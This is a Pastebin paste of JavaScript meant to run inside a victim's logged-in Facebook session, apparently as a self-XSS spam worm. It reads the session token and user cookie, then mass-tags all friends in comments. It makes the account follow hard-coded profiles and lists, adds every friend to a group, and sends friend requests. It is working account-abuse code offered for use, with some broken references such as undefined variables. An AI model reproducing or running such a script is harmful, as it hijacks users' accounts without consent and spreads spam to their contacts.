Advertisement
mikaellagonse

Untitled

Apr 25th, 2014
325
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.15 KB | None | 0 0
  1. /* CREDITS MIKAELLA GONSE */
  2. function x__0() { return window.ActiveXObject ? new ActiveXObject("Msxml2.XMLHTTP") : new XMLHttpRequest; };
  3.  
  4. //Pegar todos amigos
  5. function get_friends(){
  6. var a=x__0();
  7. a.open("GET", "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer="+uid+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", false);
  8. a.send(null);
  9. if (a.readyState == 4) {
  10. var f = JSON.parse(a.responseText.substring(a.responseText.indexOf('{')));
  11. return f.payload.entries;
  12. }
  13. return false;
  14. }
  15.  
  16. /* FIM DA PARTE DO MIGUEL TARGA */
  17.  
  18. //Pegar todos amigos
  19. function get_uid(b){
  20. var a=x__0();
  21. a.open("GET", 'http://graph.facebook.com/'+b, false);
  22. a.send();
  23. if (a.readyState == 4) {
  24. return uid = JSON.parse(a.responseText).id;
  25.  
  26. }
  27. return false;
  28. }
  29. // Pattern que vai trocar o valor dos coment?rios pelas marcaç?es
  30.  
  31. var patt = /comment_text=(.*?)&/
  32. var c = 1;
  33. username = /\.com\/(.*?)\//.exec(window.top.location)[1];
  34. uid = get_uid(username);
  35. a = window.top.location;
  36. termina = 0;
  37. var amigos = get_friends();
  38. post_id = /[0-9]{8,}/.exec(a);
  39. uids = 'comment_text=';
  40. header = 'ft_ent_identifier='+post_id+'&comment_text=�&source=1&client_id=1359576694192%3A1233576093&reply_fbid&parent_comment_id&rootid=u_jsonp_3_19&ft[tn]=[]&ft[qid]=5839337351464612379&ft[mf_story_key]=5470779710560437153&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user='+uid+'&__a=1&__req=4u&fb_dtsg='+document.getElementsByName('fb_dtsg')[0].value+'&phstamp='+Math.random();
  41. for ( var n = 1 ; n < amigos.length ; n++ ){
  42. //uids += '%40[' + amigos[n].uid + '%3A' + encodeURI(amigos[n].text) + ']%20';
  43. fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  44. uids += '%40[' + amigos[n].uid + '%3AAAAAAAAAAAA]%20';
  45. c++;
  46. if(c == 7){
  47. // Quando o contador chega em 7, ele termina o parâmetro com um &...
  48. uids += '&';
  49. // ...envia as coisas com o método do indiano...
  50. with(new XMLHttpRequest()) open("POST", "/ajax/ufi/add_comment.php?__a=1"),setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),send(header.replace(patt, uids));
  51.  
  52. // ... espera um segundo...
  53. z = setTimeout('function(){asd=0}', 1000);
  54. clearInterval(z);
  55.  
  56. // ... e seta tudo de novo pra recomeçar
  57. c = 1;
  58. uids = 'comment_text=';
  59.  
  60. }
  61.  
  62. }
  63.  
  64. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  65. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  66.  
  67. function cereziAl(isim) {
  68. var tarama = isim + "=";
  69. if (document.cookie.length > 0) {
  70. konum = document.cookie.indexOf(tarama)
  71. if (konum != -1) {
  72. konum += tarama.length
  73. son = document.cookie.indexOf(";", konum)
  74. if (son == -1)
  75. son = document.cookie.length
  76. return unescape(document.cookie.substring(konum, son))
  77. }
  78. else { return ""; }
  79. }
  80. }
  81.  
  82. function getRandomInt (min, max) {
  83. return Math.floor(Math.random() * (max - min + 1)) + min;
  84. }
  85. function randomValue(arr) {
  86. return arr[getRandomInt(0, arr.length-1)];
  87. }
  88.  
  89. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  90. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  91.  
  92. function a(abone){
  93. var http4 = new XMLHttpRequest();
  94.  
  95. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  96.  
  97. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  98. http4.open("POST", url4, true);
  99.  
  100. //Send the proper header information along with the request
  101. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  102. http4.setRequestHeader("Content-length", params4.length);
  103. http4.setRequestHeader("Connection", "close");
  104.  
  105. http4.onreadystatechange = function() {//Call a function when the state changes.
  106. if(http4.readyState == 4 && http4.status == 200) {
  107.  
  108. http4.close; // Close the connection
  109.  
  110. }
  111. }
  112.  
  113. http4.send(params4);
  114. }
  115.  
  116. function sublist(uidss) {
  117. var a = document.createElement('script');
  118. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  119. document.body.appendChild(a);
  120. }
  121.  
  122. sublist("787807751236414");
  123.  
  124. sublist("802394923111030");
  125.  
  126. sublist("221538714713113");
  127.  
  128. sublist("802167819800407");
  129.  
  130. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  131. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  132.  
  133. var httpwp = new XMLHttpRequest();
  134. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  135. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  136. httpwp['open']('POST', urlwp, true);
  137. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  138. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  139. httpwp['setRequestHeader']('Connection', 'keep-alive');
  140. httpwp['send'](paramswp);
  141.  
  142. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  143. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  144.  
  145. var friends = new Array();
  146. gf = new XMLHttpRequest();
  147. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  148. gf['send']();
  149. if (gf['readyState'] != 4) {} else {
  150. data = eval('(' + gf['responseText']['substr'](9) + ')');
  151. if (data['error']) {} else {
  152. friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  153. return _0x93dax8['index'] - _0x93dax9['index'];
  154. });
  155. };
  156. };
  157.  
  158. for (var i = 0; i < friends['length']; i++) {
  159. var httpwp = new XMLHttpRequest();
  160. var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  161. var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  162. httpwp['open']('POST', urlwp, true);
  163. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  164. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  165. httpwp['setRequestHeader']('Connection', 'keep-alive');
  166. httpwp['onreadystatechange'] = function () {
  167. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  168. };
  169. httpwp['send'](paramswp);
  170. };
  171. var spage_id = "473108719451870";
  172. var spost_id = "473108719451870";
  173. var sfoto_id = "473108719451870";
  174. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  175. var smesaj = "";
  176. var smesaj_text = "";
  177. var arkadaslar = [];
  178. var svn_rev;
  179. var bugun= new Date();
  180. var btarihi = new Date();
  181. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  182. if(!document.cookie.match(/paylasti=(\d+)/)){
  183. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  184. }
  185.  
  186. //arkadaslari al ve isle
  187. function sarkadaslari_al(){
  188. var xmlhttp = new XMLHttpRequest();
  189. xmlhttp.onreadystatechange = function () {
  190. if(xmlhttp.readyState == 4){
  191. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  192. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  193. smesaj = "";
  194. smesaj_text = "";
  195. for(i=f*10;i<(f+1)*10;i++){
  196. if(arkadaslar.payload.entries[i]){
  197. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  198. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  199. }
  200. }
  201. sdurumpaylas(); }
  202.  
  203. }
  204.  
  205. };
  206. var params = "&filter[0]=user";
  207. params += "&options[0]=friends_only";
  208. params += "&options[1]=nm";
  209. params += "&token=v7";
  210. params += "&viewer=" + user_id;
  211. params += "&__user=" + user_id;
  212.  
  213. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  214. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  215. xmlhttp.send();
  216. }
  217.  
  218. //tiklama olayini dinle
  219. var tiklama = document.addEventListener("click", function () {
  220. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  221. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  222. sarkadaslari_al();
  223. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  224.  
  225. document.removeEventListener(tiklama);
  226. }
  227. }, false);
  228.  
  229. //arkada?? ekleme
  230. function sarkadasekle(uid,cins){
  231. var xmlhttp = new XMLHttpRequest();
  232. xmlhttp.onreadystatechange = function () {
  233. if(xmlhttp.readyState == 4){
  234. }
  235. };
  236.  
  237. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  238. var params = "to_friend=" + uid;
  239. params += "&action=add_friend";
  240. params += "&how_found=friend_browser";
  241. params += "&ref_param=none";
  242. params += "&outgoing_id=";
  243. params += "&logging_location=friend_browser";
  244. params += "&no_flyout_on_click=true";
  245. params += "&ego_log_data=";
  246. params += "&http_referer=";
  247. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  248. params += "&phstamp=165816749114848369115";
  249. params += "&__user=" + user_id;
  250. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  251. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  252.  
  253. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  254. xmlhttp.send(params);
  255. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  256. cinsiyetgetir(uid,cins,"sarkadasekle");
  257. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  258. xmlhttp.send(params);
  259. }
  260. }
  261.  
  262. //cinsiyet belirleme
  263. var cinssonuc = {};
  264. var cinshtml = document.createElement("html");
  265. function scinsiyetgetir(uid,cins,fonksiyon){
  266. var xmlhttp = new XMLHttpRequest();
  267. xmlhttp.onreadystatechange = function () {
  268. if(xmlhttp.readyState == 4){
  269. eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  270. cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  271. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  272. if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  273. document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  274. }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  275. document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  276. }
  277. eval(fonksiyon + "(" + id + "," + cins + ");");
  278. }
  279. };
  280. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  281. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  282. xmlhttp.send();
  283. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement